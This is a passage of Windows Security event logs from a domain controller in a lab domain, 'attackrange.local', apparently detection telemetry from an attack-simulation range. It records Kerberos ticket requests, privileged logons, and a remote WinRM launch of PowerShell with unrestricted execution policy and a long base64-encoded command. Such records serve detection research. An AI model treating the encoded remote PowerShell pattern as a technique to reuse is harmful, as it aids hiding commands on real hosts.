logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x1110D6 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 2001:0:2851:782c:1810:3209:f5ff:fef1 - Source Port: 64456 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:27 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=250538 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x1110D6 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:49:27 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=250537 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x111045 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:27 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250536 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x111045 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 64455 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:27 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=250535 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x111045 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:49:27 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=250534 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x110909 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:49:27 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250533 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x110909 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {4AF714D3-6FE6-78C4-BD0F-98FF3F9F6ADB} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:27 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250532 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {4AF714D3-6FE6-78C4-BD0F-98FF3F9F6ADB} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:49:27 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=250531 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {4AF714D3-6FE6-78C4-BD0F-98FF3F9F6ADB} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:49:27 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=250530 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:49:27 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=250529 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x11046E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x284 - New Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x998 - Creator Process Name: C:\Windows\System32\cmd.exe - Process Command Line: PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAAVQB3AEIAbABBAEgAUQBBAEwAUQBCAFQAQQBIAFEAQQBjAGcAQgBwAEEARwBNAEEAZABBAEIATgBBAEcAOABBAFoAQQBCAGwAQQBDAEEAQQBMAFEAQgBXAEEARwBVAEEAYwBnAEIAegBBAEcAawBBAGIAdwBCAHUAQQBDAEEAQQBUAEEAQgBoAEEASABRAEEAWgBRAEIAegBBAEgAUQBBAEMAZwBBAGsAQQBIAFEAQQBiAFEAQgB3AEEARgA4AEEAYwBBAEIAaABBAEgAUQBBAGEAQQBBAGcAQQBEADAAQQBJAEEAQgBiAEEARgBNAEEAZQBRAEIAegBBAEgAUQBBAFoAUQBCAHQAQQBDADQAQQBSAFEAQgB1AEEASABZAEEAYQBRAEIAeQBBAEcAOABBAGIAZwBCAHQAQQBHAFUAQQBiAGcAQgAwAEEARgAwAEEATwBnAEEANgBBAEUAVQBBAGUAQQBCAHcAQQBHAEUAQQBiAGcAQgBrAEEARQBVAEEAYgBnAEIAMgBBAEcAawBBAGMAZwBCAHYAQQBHADQAQQBiAFEAQgBsAEEARwA0AEEAZABBAEIAVwBBAEcARQBBAGMAZwBCAHAAQQBHAEUAQQBZAGcAQgBzAEEARwBVAEEAYwB3AEEAbwBBAEMAYwBBAEoAUQBCAFUAQQBFAFUAQQBUAFEAQgBRAEEAQwBVAEEASgB3AEEAcABBAEEAbwBBAEoAQQBCADAAQQBHADAAQQBjAEEAQQBnAEEARAAwAEEASQBBAEIATwBBAEcAVQBBAGQAdwBBAHQAQQBFAGsAQQBkAEEAQgBsAEEARwAwAEEASQBBAEEAdABBAEYAUQBBAGUAUQBCAHcAQQBHAFUAQQBJAEEAQgBFAEEARwBrAEEAYwBnAEIAbABBAEcATQBBAGQAQQBCAHYAQQBIAEkAQQBlAFEAQQBnAEEAQwAwAEEAVQBBAEIAaABBAEgAUQBBAGEAQQBBAGcAQQBDAFEAQQBkAEEAQgB0AEEASABBAEEAWAB3AEIAdwBBAEcARQBBAGQAQQBCAG8AQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAEoAdwBCAGgAQQBHADQAQQBjAHcAQgBwAEEARwBJAEEAYgBBAEIAbABBAEMAMABBAGQAQQBCAHQAQQBIAEEAQQBMAFEAQQB4AEEARABZAEEATQBRAEEAMABBAEQAWQBBAE0AQQBBAHkAQQBEAFUAQQBOAFEAQQB5AEEAQwA0AEEATgBnAEEAMwBBAEQARQBBAE0AZwBBADEAQQBEAFEAQQBMAFEAQQB5AEEARABZAEEATQBBAEEAMgBBAEQATQBBAE4AUQBBADIAQQBEAFEAQQBNAGcAQQB4AEEARABnAEEATwBRAEEAeABBAEQAVQBBAE4AUQBBAG4AQQBBAG8AQQBWAHcAQgB5AEEARwBrAEEAZABBAEIAbABBAEMAMABBAFQAdwBCADEAQQBIAFEAQQBjAEEAQgAxAEEASABRAEEASQBBAEEAdABBAEUAawBBAGIAZwBCAHcAQQBIAFUAQQBkAEEAQgBQAEEARwBJAEEAYQBnAEIAbABBAEcATQBBAGQAQQBBAGcAQQBDAFEAQQBkAEEAQgB0AEEASABBAEEATABnAEIARwBBAEgAVQBBAGIAQQBCAHMAQQBFADQAQQBZAFEAQgB0AEEARwBVAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEQAOABBAEsAUQBBAGcAQQBIAHMAQQBJAEEAQgBKAEEARwBZAEEASQBBAEEAbwBBAEUAYwBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBUAEEAQgBCAEEARgBNAEEAVgBBAEIARgBBAEYAZwBBAFMAUQBCAFUAQQBFAE0AQQBUAHcAQgBFAEEARQBVAEEASQBBAEEAdABBAEUAVQBBAGMAZwBCAHkAQQBHADgAQQBjAGcAQgBCAEEARwBNAEEAZABBAEIAcABBAEcAOABBAGIAZwBBAGcAQQBGAE0AQQBhAFEAQgBzAEEARwBVAEEAYgBnAEIAMABBAEcAdwBBAGUAUQBCAEQAQQBHADgAQQBiAGcAQgAwAEEARwBrAEEAYgBnAEIAMQBBAEcAVQBBAEsAUQBBAGcAQQBIAHMAQQBJAEEAQgBsAEEASABnAEEAYQBRAEIAMABBAEMAQQBBAEoAQQBCAE0AQQBFAEUAQQBVAHcAQgBVAEEARQBVAEEAVwBBAEIASgBBAEYAUQBBAFEAdwBCAFAAQQBFAFEAQQBSAFEAQQBnAEEASAAwAEEASQBBAEIARgBBAEcAdwBBAGMAdwBCAGwAQQBDAEEAQQBlAHcAQQBnAEEARwBVAEEAZQBBAEIAcABBAEgAUQBBAEkAQQBBAHgAQQBDAEEAQQBmAFEAQQBnAEEASAAwAEEA - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:27 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=250528 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x11046E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x998 - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x1340 - Creator Process Name: C:\Windows\System32\winrshost.exe - Process Command Line: C:\Windows\system32\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAAVQB3AEIAbABBAEgAUQBBAEwAUQBCAFQAQQBIAFEAQQBjAGcAQgBwAEEARwBNAEEAZABBAEIATgBBAEcAOABBAFoAQQBCAGwAQQBDAEEAQQBMAFEAQgBXAEEARwBVAEEAYwBnAEIAegBBAEcAawBBAGIAdwBCAHUAQQBDAEEAQQBUAEEAQgBoAEEASABRAEEAWgBRAEIAegBBAEgAUQBBAEMAZwBBAGsAQQBIAFEAQQBiAFEAQgB3AEEARgA4AEEAYwBBAEIAaABBAEgAUQBBAGEAQQBBAGcAQQBEADAAQQBJAEEAQgBiAEEARgBNAEEAZQBRAEIAegBBAEgAUQBBAFoAUQBCAHQAQQBDADQAQQBSAFEAQgB1AEEASABZAEEAYQBRAEIAeQBBAEcAOABBAGIAZwBCAHQAQQBHAFUAQQBiAGcAQgAwAEEARgAwAEEATwBnAEEANgBBAEUAVQBBAGUAQQBCAHcAQQBHAEUAQQBiAGcAQgBrAEEARQBVAEEAYgBnAEIAMgBBAEcAawBBAGMAZwBCAHYAQQBHADQAQQBiAFEAQgBsAEEARwA0AEEAZABBAEIAVwBBAEcARQBBAGMAZwBCAHAAQQBHAEUAQQBZAGcAQgBzAEEARwBVAEEAYwB3AEEAbwBBAEMAYwBBAEoAUQBCAFUAQQBFAFUAQQBUAFEAQgBRAEEAQwBVAEEASgB3AEEAcABBAEEAbwBBAEoAQQBCADAAQQBHADAAQQBjAEEAQQBnAEEARAAwAEEASQBBAEIATwBBAEcAVQBBAGQAdwBBAHQAQQBFAGsAQQBkAEEAQgBsAEEARwAwAEEASQBBAEEAdABBAEYAUQBBAGUAUQBCAHcAQQBHAFUAQQBJAEEAQgBFAEEARwBrAEEAYwBnAEIAbABBAEcATQBBAGQAQQBCAHYAQQBIAEkAQQBlAFEAQQBnAEEAQwAwAEEAVQBBAEIAaABBAEgAUQBBAGEAQQBBAGcAQQBDAFEAQQBkAEEAQgB0AEEASABBAEEAWAB3AEIAdwBBAEcARQBBAGQAQQBCAG8AQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAEoAdwBCAGgAQQBHADQAQQBjAHcAQgBwAEEARwBJAEEAYgBBAEIAbABBAEMAMABBAGQAQQBCAHQAQQBIAEEAQQBMAFEAQQB4AEEARABZAEEATQBRAEEAMABBAEQAWQBBAE0AQQBBAHkAQQBEAFUAQQBOAFEAQQB5AEEAQwA0AEEATgBnAEEAMwBBAEQARQBBAE0AZwBBADEAQQBEAFEAQQBMAFEAQQB5AEEARABZAEEATQBBAEEAMgBBAEQATQBBAE4AUQBBADIAQQBEAFEAQQBNAGcAQQB4AEEARABnAEEATwBRAEEAeABBAEQAVQBBAE4AUQBBAG4AQQBBAG8AQQBWAHcAQgB5AEEARwBrAEEAZABBAEIAbABBAEMAMABBAFQAdwBCADEAQQBIAFEAQQBjAEEAQgAxAEEASABRAEEASQBBAEEAdABBAEUAawBBAGIAZwBCAHcAQQBIAFUAQQBkAEEAQgBQAEEARwBJAEEAYQBnAEIAbABBAEcATQBBAGQAQQBBAGcAQQBDAFEAQQBkAEEAQgB0AEEASABBAEEATABnAEIARwBBAEgAVQBBAGIAQQBCAHMAQQBFADQAQQBZAFEAQgB0AEEARwBVAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEQAOABBAEsAUQBBAGcAQQBIAHMAQQBJAEEAQgBKAEEARwBZAEEASQBBAEEAbwBBAEUAYwBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBUAEEAQgBCAEEARgBNAEEAVgBBAEIARgBBAEYAZwBBAFMAUQBCAFUAQQBFAE0AQQBUAHcAQgBFAEEARQBVAEEASQBBAEEAdABBAEUAVQBBAGMAZwBCAHkAQQBHADgAQQBjAGcAQgBCAEEARwBNAEEAZABBAEIAcABBAEcAOABBAGIAZwBBAGcAQQBGAE0AQQBhAFEAQgBzAEEARwBVAEEAYgBnAEIAMABBAEcAdwBBAGUAUQBCAEQAQQBHADgAQQBiAGcAQgAwAEEARwBrAEEAYgBnAEIAMQBBAEcAVQBBAEsAUQBBAGcAQQBIAHMAQQBJAEEAQgBsAEEASABnAEEAYQBRAEIAMABBAEMAQQBBAEoAQQBCAE0AQQBFAEUAQQBVAHcAQgBVAEEARQBVAEEAVwBBAEIASgBBAEYAUQBBAFEAdwBCAFAAQQBFAFEAQQBSAFEAQQBnAEEASAAwAEEASQBBAEIARgBBAEcAdwBBAGMAdwBCAGwAQQBDAEEAQQBlAHcAQQBnAEEARwBVAEEAZQBBAEIAcABBAEgAUQBBAEkAQQBBAHgAQQBDAEEAQQBmAFEAQQBnAEEASAAwAEEA - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:27 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=250527 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1106BE - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:49:27 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250526 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1106BE - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {4AF714D3-6FE6-78C4-BD0F-98FF3F9F6ADB} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:27 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=250525 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {4AF714D3-6FE6-78C4-BD0F-98FF3F9F6ADB} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:49:27 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=250524 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {4AF714D3-6FE6-78C4-BD0F-98FF3F9F6ADB} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:49:27 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=250523 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, 